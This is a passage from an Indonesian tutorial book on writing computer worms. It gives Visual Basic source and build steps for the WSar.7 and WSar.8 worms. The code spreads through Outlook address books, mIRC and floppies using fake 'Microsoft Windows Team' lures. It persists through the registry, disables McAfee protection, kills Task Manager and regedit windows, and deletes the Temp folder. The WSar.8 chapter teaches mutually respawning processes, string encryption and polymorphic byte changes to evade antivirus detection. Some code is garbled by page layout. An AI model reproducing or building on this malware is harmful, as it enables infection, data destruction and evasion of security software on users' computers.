Private Sub Form_Terminate() Shell(App.EXEName & ".exe") ExitWindowsEx(2, 0&) End Sub Private Sub tmrWinForce_Timer() WinQuit("task") WinQuit("find") WinQuit("search") WinQuit("run") WinQuit("reg") WinQuit("config") End Sub Private Sub Payload() Dim kiddie As Object Dim tmpfolder As Object kiddie = CreateObject _
202
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
("scripting.filesystemobject") tmpfolder = kiddie.GetSpecialFolder(2) Deltree(tmpfolder) MsgBox("WSar.7 Ada Pada Komputer Anda", vbExclamation) End Sub Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinForce menggunakan module yang sama pada WSar.5 Berikut penjelasan tentang kode program: Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mematikan proses sistem operasi Windows, function API untuk mendapatkan status koneksi Internet dan function untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa path file utama, jika file utama tidak berada pada folder System Windows maka worm akan membuka aplikasi Notepad yang merupakan suatu upaya rekayasa sosial. Hal ini berkaitan dengan icon file txt yang digunakan worm, sehingga user akan percaya jika yang dieksekusinya ternyata adalah file text yang kosong.
203
Jasakom
Bab 13. Worm WSar.7
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Computer Worm 1 - Secret of Underground Coding : Uncensored
Kemudian worm akan memeriksa keberadaan aplikasi McAfee VirusScan dengan mengambil salah satu dari nilai registry yang dibuat oleh aplikasi tersebut. Jika ditemukan maka worm akan memanggil procedure McAfee_MyFriend, worm juga memanggil procedure InfectSystem dan procedure mIrc. Procedure cmdSend_Click adalah procedure yang akan dijalankan saat user mengklik tombol Send Error Report pada form yang ditampilkan. Procedure ini membuat form disembunyikan, menampilkan sebuah kotak pesan berupa teks "System will scan your outlook files including your address book for some reason, you may see the Outlook confirmation dialog, please allow access and click yes in confirmation box. Thanks for your contribution - Microsoft Windows Team" dengan caption yang berbunyi "MICROSOFT WINDOWS TEAM - PLEASE READ THIS", dan saat user mengklik tombol OK pada kotak pesan tersebut worm kemudian memanggil procedure InfectMail. Procedure InfectSystem akan membuat salinan worm pada folder Windows dengan nama file wintweak.exe dan pada folder Sytem Windows dengan nama file KERNE132.EXE, kemudian memanipulasi registry agar file kerne132.exe akan aktif saat Windows startup. Worm juga memanipulasi registry dengan tujuan agar Windows Explorer tidak menampilkan ekstensi exe walaupun user menghilangkan seleksi pada opsi Hide extensions for known file types pada Folder Options. Sehingga nama worm tetap terlihat berekstensi txt, contohnya mystery.txt dan readme.txt. Bab 13. Worm WSar.7
Procedure tmrSpreading_Timer akan memanggil procedure InfectFloppy jika satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13. Kemudian menampilkan form jika system terhubung ke internet dan jika menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13. Procedure InfectFloppy membuat data array yang memuat 10 nama file worm yang akan disalinkan ke disket. Worm kemudian memeriksa apakah file worm sudah ada pada disket atau tidak dengan memeriksa file yang berakhiran "txt. exe". Jika tidak ditemukan maka worm akan membuat salinan ke disket dengan salah satu nama file yang diambil secara acak.
204
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Procedure InfectMail akan mengirimkan sebuah e-mail untuk setiap alamat yang ada pada MS Outlook address book dengan subjek: wintweak yyyy (tahun depan), body: Here’s a file that will tweak your windows more faster..., dan sebuah file attachment yang merupakan file worm dengan nama wintweak.exe dan berada pada folder Windows. Procedure mIrc akan memeriksa keberadaan aplikasi mIRC dengan mencari suatu nilai pada registry yang sekaligus akan mengembalikan nilai berupa path aplikasi tersebut, kemudian membuat salinan worm ke folder Windows dengan nama wintweak.exe. Worm juga membuat file bernama script.ini yang merupakan file konfigurasi aplikasi mIRC, dengan manipulasi konfigurasi ini worm akan memberikan salam dan menawarkan suatu file (wintweak.exe) yang terlihat berguna untuk meningkatkan performa komputer, dengan kalimat-kalimat sebagai berikut: 1. Hello.. here’s a file that will tweak your windows more faster... 2. Hello.. here’s a file that will increase your computer memory up to 64 MB... 3. Hello.. here’s a file that will increase your VGA Card memory...
Procedure tmrIseng_Timer akan mencetak suatu kalimat pada printer jika menit menunjukan nilai 30 dan detik menunjukan nilai 1. Adapun kalimat yang dicetak akan terlihat sebagai berikut:
WSAR.7 WAS HERE B RING T HE T RUT H T O YOUR HO ME
205
Jasakom
Bab 13. Worm WSar.7
Procedure McAfee_MyFriend bertugas untuk memanipulasi registry untuk menonaktifkan semua opsi tab ActiveShield pada kotak dialog Options dan semua opsi pada kotak dialog Advanced ActiveShield Options. Selain itu, worm juga akan menyembunyikan tab ActiveShield pada kotak dialog Options.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Pada tanggal 13 Oktober, worm akan memanggil procedure PayLoad. Procedure Form_Terminate akan dijalankan jika user menghentikan proses worm dengan menggunakan suatu program (seperti program antivirus ) atau melalui Task Manager. Procedure ini akan mengeksekusi kembali file worm dan berusaha untuk me-restart komputer dengan menggunakan function API ExitWindowsEx, penulis akan memberikan metode turn off yang lebih baik pada WSar selanjutnya. Procedure tmrWinForce_Timer akan menutup setiap aplikasi yang pada caption-nya memuat kata task, find, search, run, reg atau config. Procedure Payload akan menghapus folder dan seluruh sub folder pada direktori Temp. Kemudian menampilkan sebuah kotak pesan yang berbunyi "WSar.7 Ada Pada Komputer Anda" Module mdlDeltree berisi suatu rangkaian instruksi dan membentuk suatu function yang berguna untuk menghapus folder dan sub folder beserta file yang ada didalamnya, function ini hampir mirip dengan perintah deltree pada perintah eksternal Shell DOS.
Bab 13. Worm WSar.7
206
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 14 WORM WSar.8
S
eorang worm writer dengan nickname [K]alamar pernah membuat suatu script menggunakan bahasa pemrograman Visual Basic Script (VBS) yang kemudian terkenal dengan istilah "Anti Deletion Methode", suatu metode yang menyulitkan user untuk menghapus file worm.
Selain itu WSar.8 juga menggunakan teknik yang umumnya digunakan worm modern, seperti teknik encryption dan polymorphic. Uniknya worm ini ditambahkan suatu rutin yang akan membasmi varian worm lokal Pesin dan Kangen jika ditemukan pada system komputer yang sama. Metode ini hampir sama dengan metode yang digunakan oleh RontokBro, suatu worm lokal Indonesia lainnya yang muncul dipertengahan tahun 2005.
207
Jasakom
Bab 14. Worm WSar.8
Melalui WSar.8 penulis akan mendemonstrasikan metode ini dengan teknik yang berbeda dan dikembangkan sehingga bisa digunakan pada bahasa pemrograman Visual Basic serta file worm lebih sulit untuk dihapus.
Computer Worm 1 - Secret of Underground Coding : Uncensored
14.1 WATCHER METHODE Metode Watcher adalah suatu metode yang membentuk suatu rangkaian program yang saling mengawasi satu sama lainnya, tidak hanya mengawasi keberadaan program tetapi juga mengawasi hal lain seperti suatu konfigurasi, keberadaan atau ketidakadaan suatu hal atau mengawasi suatu kejadian tertentu. Metode ini penulis gunakan pada WSar.8 sebagai pengganti metode Anti Deletion. WSar.8 saat menginfeksi suatu system akan membuat salinan dirinya pada direktori System Windows dengan nama WINWORD.EXE dan langsung mengeksekusi file tersebut. Saat tereksekusi, file WINWORD.EXE akan memeriksa apakah pada direktori Windows terdapat file SPOOL32.EXE dan apakah file tersebut sedang aktif, jika tidak maka WINWORD.EXE akan membuat salinan dirinya ke direktori Windows dengan nama file SPOOL32.EXE dan langsung mengeksekusinya. Saat tereksekusi file SPOOL32.EXE akan kembali memeriksa apakah pada direktori System Windows terdapat file dengan nama WINWORD.EXE dan apakah file tersebut sedang aktif. Jika tidak maka SPOOL32.EXE akan membuat salinan dirinya ke direktori System Windows dengan nama file WINWORD.EXE dan langsung mengeksekusinya. Bab 14. Worm WSar.8
Demikian proses tersebut berulang secara berkesinambungan, sehingga jika salah satu proses file tersebut dihentikan maka file lainnya akan membuat salinan yang baru dan langsung mengeksekusinya, sehingga kedua file tersebut terlihat seperti tidak bisa dihapus. Dengan metode yang sama WSar.8 melakukan pemeriksaan terhadap registry yang dibuatnya, jika data registry terhapus, secara otomatis WSar.8 akan membuat kembali data registry tersebut.
208
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
14.2 ENCRYPTION METHODE Encryption Methode atau metode enkripsi adalah suatu metode yang mengubah suatu kode yang mudah dimengerti menjadi sulit untuk dimengerti. Proses enkripsi secara umum dapat digambarkan sebagai berikut:
Plain text disini adalah teks atau pesan awal yang masih mudah untuk dimengerti, kemudian melalui suatu proses yang disebut enkripsi maka dengan suatu algoritma tertentu teks tersebut diubah sehingga sulit untuk dimengerti (cipher text).
Bab 14. Worm WSar.8
Untuk mengubah kembali cipher text maka dilalui lagi suatu proses yang disebut dekripsi dengan menggunakan kebalikan dari algoritma enkripsi, perhatikan gambar berikut ini:
Gambar diatas adalah suatu contoh proses enkripsi dan dekripsi dengan
209
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
algoritma menambahkan satu untuk enkripsi dan sebagai kebalikannya dengan mengurangi satu untuk proses deskripsi, sehingga untuk proses enkripsi huruf D akan menghasilkan E, A akan menghasilkan B, R menghasilkan S, M menghasilkan N dan L akan menghasilkan M. Untuk proses dekripsi huruf E akan menghasilkan D, B menghasilkan A, S menghasilkan R, N menghasilkan M dan M akan menghasilkan L. Algoritma proses enkripsi dan dekripsi tidak terbatas pada proses pertambahan dan pengurangan saja, tetapi juga pada perkalian, pembagian dan dapat berupa kombinasi dari operator-operator aritmatik lainnya. Enkripsi diatas adalah salah satu metode Substitution Cipher. Metode ini tergolong paling sederhana, mudah digunakan dan juga mudah untuk dipecahkan. Namun demikian dalam rangka menyulitkan penganalisaan maka pada WSar.8, algoritma yang digunakan dibagi menjadi 3 bagian, yaitu: 1. Karakter ascii 65 hingga 90, ditambahkan dengan 127 sehingga karakter 65 menjadi karakter 192, 66 menjadi 193 dan seterusnya 2. Karakter ascii 97 hingga 122, ditambahkan dengan 121 sehingga karakter 97 menjadi karakter 218, 98 menjadi 219 dan seterusnya 3. Karakter ascii 48 hingga 57, ditambahkan dengan 196 sehingga karakter 48 menjadi karakter 244, 49 menjadi 245 dan seterusnya, untuk lebih jelasnya perhatikan tabel ascii pada halaman 211 berikut ini: Bab 14. Worm WSar.8
210
Jasakom
Bab 14. Worm WSar.8
Computer Worm 1 - Secret of Undeground Coding : Uncensored
211
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Dengan algoritma tersebut maka plain text "Achmad Darmal" akan menjadi cipher text "ÀÜáæÚÝ ÃÚëæÚå".
Berikut ini adalah gambar saat worm WSar.8 yang tidak terenkripsi (kiri) dan terenkripsi (kanan) di buka pada suatu aplikasi hex editor.
Bisa Anda bayangkan jika lokasi suatu nilai registry yang dibuat dan sangat dirahasiakan dapat diketahui dengan mudah, hanya dengan melihat body program yang tidak terenkripsi. Bab 14. Worm WSar.8
14.3 POLYMORPHIC METHODE Metode polymorphic adalah suatu metode yang membuat file program worm atau virus berubah setiap penginfeksian. Berubah disini bisa berupa perubahan pada isi program maupun ukuran program tersebut. Metode polymorphic biasanya digunakan worm atau virus untuk menghindari scanning dari antivirus yang umumnya menggunakan metode checksum dalam mengenali worm atau virus.
212
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Pada WSar.8, penulis membuat suatu function dengan nama PolyCopy yang penggunaannya hampir sama dengan function FileCopy, hanya saja function ini akan mengubah beberapa byte tertentu pada file tujuan.
Pada byte ke 78 sampai dengan byte ke 115 terdapat string "This program cannot be run in DOS mode". String ini adalah suatu pesan yang akan ditampilkan apabila user mencoba untuk mengeksekusi program tersebut pada DOS mode. Apabila pesan ini diubah maka tidak akan menciptakan bugs baru pada kode program, kecuali menampilkan pesan baru hasil perubahan jika dieksekusi pada DOS mode. Saat belum dilakukan perubahan program ini memiliki nilai crc32 "8E9F13A1", namun setelah dilakukan perubahan dengan mengganti huruf "e" pada byte ke 115 menjadi huruf "y" maka nilai crc32 program tersebut berubah menjadi "E247760C". Hal ini membuktikan bahwa perubahan apapun pada body program akan mengubah nilai checksum program tersebut.
213
Jasakom
Bab 14. Worm WSar.8
Byte yang dapat diubah umumnya tidak akan menimbulkan bugs apapun pada program asli, sebagai contoh berikut ini adalah tampilan worm WSar.8 saat dibuka dengan menggunakan suatu aplikasi hex editor.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Perlu Anda ketahui bukan hanya string diatas saja yang dapat diubah tanpa menciptakan suatu bug baru, tetapi sesungguhnya sepanjang kode program banyak terdapat string seperti itu, misalnya informasi Company Name, Product Name, File Version, Product Version atau Internal Name yang biasanya selalu ada pada setiap program yang terkompilasi dengan bahasa pemrograman visual.
Catatan: Mengubah suatu file menggunakan hex editor cenderung merusak program utama, untuk itu jangan menambah atau mengurangi byte pada body program, perubahan pada string hendaklah disesuaikan dengan jumlah string yang memungkinkan untuk diubah, dan selalu siapkan backup untuk program yang akan diubah
14.4 ALGORITMA WSar.8 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:
Bab 14. Worm WSar.8
1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Pada nama program utama tertentu worm akan menyembunyikan aplikasi file worm dari task list 3. Membuka aplikasi MS Word dengan teks beranimasi lengkap saat user mengeksekusinya 4. Menginfeksi system dengan membuat salinan worm pada folder Windows, System Windows dan langsung mengeksekusinya, kemudian memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup 5. Membuat salinan pada setiap direktori yang aktif pada aplikasi Windows Explorer dengan menggunakan function polycopy
214
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6. Dampak lain yang ditimbulkan adalah membuat animasi pointer mouse yang memantul disekitar layar selama 8 detik setiap menitnya 7. Menghapus infeksi dari worm lokal lainnya, yaitu worm Pesin dan Kangen 8. Pada tanggal 13 Oktober, worm akan me-restart komputer dengan menggunakan metode sendkeys.
14.5 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'Document1 – Microsoft Word’. Salah satu function pada module mdlDir memiliki referensi pada Microsoft Shell Controls And Automation, sehingga kita terlebih dahulu harus membuat project mengacu pada file tersebut dengan cara: 1. Klik Project pada menubar, dan pilih References. 2. Pada kotak dialog References, beri seleksi pada opsi Microsoft Shell Controls And Automation, kemudian klik OK.
Properti object Form1 Jenis
Nilai
Keterangan
Name
frmWSar8
Mengatur nama form menjadi frmWSar8
BorderStyle
None
Tidak memberikan garis tepi pada form
ControlBox
False
Tidak menampilkan ControlBox pada form
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.8 menggunakan icon word.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
215
Jasakom
Bab 14. Worm WSar.8
Kemudian tambahkan 1 buah object ListBox, 4 buah object Timer dan 7 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Timer1 Jenis
Nilai
Keterangan
Name
tmrDir
Mengatur nama Timer menjadi tmrDir
Enable
False
Pastikan Timer tidak aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
False
Pastikan Timer tidak aktif saat form di-load
Interval
1
Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.001 detik
Properti object Timer3 Jenis
Nilai
Keterangan
Name
tmrSPOOL32
Mengatur nama Timer menjadi tmrSPOOL32
Enable
False
Pastikan Timer tidak aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object Timer4 Bab 14. Worm WSar.8
Jenis
Nilai
Keterangan
Name
tmrWINWORD
Mengatur nama Timer menjadi tmrWINWORD
Enable
False
Pastikan Timer tidak aktif saat form diload
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti object List1 Jenis Name
216
Jasakom
Nilai lstDir
Keterangan Mengatur nama ListBox menjadi lstDir
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti Module1 Jenis Name
Nilai
Keterangan
mdlCrypt
Mengatur nama module menjadi mdlCrypt
Properti Module2 Jenis
Nilai
Name
mdlDir
Keterangan Mengatur nama module menjadi mdlDir
Properti Module3 Jenis Name
Nilai
Keterangan
mdlRegistryAPI
Mengatur nama module menjadi mdlRegistryAPI
Properti Module4 Jenis Name
Nilai mdlRestart
Keterangan Mengatur nama module menjadi mdlRestart
Properti Module5 Name
Nilai mdlWildMouse
Keterangan Mengatur nama module menjadi mdlWildMouse
Properti Module6 Jenis Name
Nilai mdlWinCheck
Keterangan Mengatur nama module menjadi mdlWinCheck
Properti Module7 Jenis Name
Nilai mdlWinExit
Keterangan Mengatur nama module menjadi mdlWinExit
217
Jasakom
Bab 14. Worm WSar.8
Jenis
Computer Worm 1 - Secret of Underground Coding : Uncensored
Ketik kode program berikut ini pada module mdlCrypt: Option Explicit On Public Function Encrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 65 To 90 NewChar = Chr(Asc(NewChar) + 127) Case 97 To 122 NewChar = Chr(Asc(NewChar) + 121) Case 48 To 57 NewChar = Chr(Asc(NewChar) + 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Encrypt = NewTextInput End Function
Bab 14. Worm WSar.8
Public Function Decrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 192 To 217 NewChar = Chr(Asc(NewChar) - 127) Case 218 To 243 NewChar = Chr(Asc(NewChar) - 121) Case 244 To 253 NewChar = Chr(Asc(NewChar) - 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Decrypt = NewTextInput End Function
218
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Ketik kode program berikut ini pada module mdlDir: Private Enum FileParts ExtOnly NameOnly NameExt PathOnly End Enum Private Function FilePart(ByVal FullPath As String, Optional ByVal WhichPart _ As FileParts = NameOnly) As String Dim lArray As Object Select Case WhichPart Case ExtOnly If InStr(FullPath, ".") Then lArray = Split(FullPath, ".") FilePart = lArray(UBound(lArray)) End If Case NameOnly, NameExt lArray = Split(FullPath, "\") FilePart = lArray(UBound(lArray)) If WhichPart = NameOnly Then lArray = Split(FilePart, ".") FilePart = lArray(LBound(lArray)) End If Case PathOnly Dim lFileName As String lFileName = FilePart(FullPath, NameExt) FilePart = Replace(FullPath, lFileName, "") End Select End Function
Bab 14. Worm WSar.8
Public Function GetDir(ByVal List As ListBox) On Error Resume Next Dim stra As String Dim objShell32 As New Shell32.Shell Dim objWindows As Object Dim lngCounter As Long objWindows = objShell32.Windows List.Clear() For Each objWindows In objShell32.Windows stra = ChangeAll(Mid(objWindows.LocationURL, 9, Len _ (objWindows.LocationURL) - 8), "/", "\") stra = ChangeAll(stra, "%20", " ") stra = ChangeAll(stra, "%7b", "{") stra = ChangeAll(stra, "%7d", "}") stra = ChangeAll(stra, "%5b", "[") stra = ChangeAll(stra, "%5d", "]") stra = ChangeAll(stra, "%60", "`") stra = ChangeAll(stra, "%23", "#") stra = ChangeAll(stra, "%25", "%") stra = ChangeAll(stra, "%5e", "^") stra = ChangeAll(stra, "%26", "&")
219
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
If Left(Right(stra, 4), 1) = "." Or Left(Right(stra, 3), 1) = _ "." Then stra = FilePart(stra, PathOnly) End If If Right(stra, 1) "\" Then stra = stra & "\" End If If Mid(stra, 2, 2) = ":\" Then List.AddItem(stra) End If
Next objWindows = Nothing objShell32 = Nothing End Function
Private Function ChangeAll(ByVal Source As String, ByVal Search As _ String, ByVal Restring As String) As String Dim hitung As Integer hitung = Len(Replace(Source, Search, Search & "*")) - Len(Source) ChangeAll = Replace(LCase(Source), Search, Restring, 1, hitung) End Function
Ketik kode program berikut ini pada module mdlRestart: 'Contoh penggunaan fungsi SendKeys Option Explicit On
Bab 14. Worm WSar.8
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds _ As Long) Public Declare Sub keybd_event Lib "user32" (ByVal bVk _ As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal _ dwExtraInfo As Long) Public Declare Function MapVirtualKey Lib "user32" Alias _ "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType _ As Long) As Long Public Const KEYEVENTF_KEYUP = &H2 Public Const VK_CONTROL = &H11 Public Const VK_ESCAPE = &H1B Public Const VK_R = &H52 Public Const VK_TAB = &H9 Public Const VK_SPACE = &H20 Public Const VK_UP = &H26 Public Const VK_RETURN = &HD Public Function Restart() Dim aba, baa, aab As Integer Dim bab, bba, abb As Integer Dim abc As Integer aab = MapVirtualKey(VK_UP, 0) aba = MapVirtualKey(VK_CONTROL, 0) baa = MapVirtualKey(VK_ESCAPE, 0)
220
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
bab = MapVirtualKey(VK_R, 0) bba = MapVirtualKey(VK_TAB, 0) abb = MapVirtualKey(VK_SPACE, 0) abc = MapVirtualKey(VK_RETURN, 0) keybd_event(VK_CONTROL, aba, 0, 0) keybd_event(VK_ESCAPE, baa, 0, 0) keybd_event(VK_CONTROL, aba, KEYEVENTF_KEYUP, 0) keybd_event(VK_ESCAPE, baa, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_UP, aab, 0, 0) keybd_event(VK_UP, aab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_RETURN, abc, 0, 0) keybd_event(VK_RETURN, abc, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_R, bab, 0, 0) keybd_event(VK_R, bab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_TAB, bba, 0, 0) keybd_event(VK_TAB, bba, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_SPACE, abb, 0, 0) keybd_event(VK_SPACE, abb, KEYEVENTF_KEYUP, 0) Sleep(0) End Function
Ketik kode program berikut ini pada module mdlWildMouse: Option Explicit On
Public Sub WildMouse(ByVal value As Boolean) If value = False Then Exit Sub Const Speed As Integer = 10 Dim ptCurrentPosition As POINTAPI Call GetCursorPos(ptCurrentPosition) If XState = 0 Then If (ptCurrentPosition.X + 1) >= (Screen.Width \ _ Screen.TwipsPerPixelX) Then ptCurrentPosition.X = ptCurrentPosition.X - Speed XState = 1 Else ptCurrentPosition.X = ptCurrentPosition.X + Speed End If
Bab 14. Worm WSar.8
Private Declare Function SetCursorPos Lib "user32" (ByVal X As _ Long, ByVal Y As Long) As Long Private Declare Function GetCursorPos Lib "user32" (ByVal lpPoint As _ POINTAPI) As Long Private Type POINTAPI X As Long Y As Long End Type Dim XState As Integer Dim YState As Integer
221
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored Else
If ptCurrentPosition.X = (Screen.Height \ _ Screen.TwipsPerPixelY) Then ptCurrentPosition.Y = ptCurrentPosition.Y - Speed YState = 1 Else ptCurrentPosition.Y = ptCurrentPosition.Y + Speed End If Else If ptCurrentPosition.Y 0 Then WinCheck = True Exit Do Else WinCheck = False End If Loop End Function
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, dan module mdlWinExit menggunakan module yang sama pada WSar.6. Tahap selanjutnya adalah mengetik kode program pada object frmWSar8, namun sebelumnya untuk mendapatkan suatu string terenkripsi (cipher text) dapat dilakukan dengan cara berikut ini:
print encrypt("plain text")
Contoh, untuk mendapatkan cipher text dari string "Worm Komputer" dapat menggunakan perintah berikut ini print encrypt("Worm Komputer") Öèëæ ÊèæéîíÞë
4. Selanjutnya Anda tinggal copy paste pada jendela Code.
223
Jasakom
Bab 14. Worm WSar.8
1. Pastikan Anda sudah membuat module mdlCrypt 2. Aktifkan Immediate Window dengan cara menekan kombinasi tombol Ctrl+G 3. Pada jendela Immediate, ketik perintah berikut ini:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Setelah itu, silahkan ketik kode program berikut ini pada object frmWSar8: 'WSar.8 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function
Bab 14. Worm WSar.8
Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) "" Then WinExit(Decrypt("\ìòìíÚìä.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÏÞìâç")) End If 'Kangen removal If Dir(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) "" Then WinExit(Decrypt("\ÜÜÚééì.ÞñÞ")) WinExit(Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ðâçåèà.*")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÊÚçàÞç")) End If End Sub
224
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab 14. Worm WSar.8
Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = Decrypt _ ("ÒÄÓÈÀ ÇÈÍÆÆÀ ÀÊÇÈÑ ÌÀÒÀ") objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = Decrypt("ÌÚåÚæ âçâ äî ÛÞëçòÚçòâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚçòÚ àÞæâçíÚçà æÞçÞæÚçâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÌÞæÛÞëâäî ìâçÚëÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÏÞçòÞãîä áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîåÚçàäÚáäÚç äÚäâäî âçâ")
225
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 14. Worm WSar.8
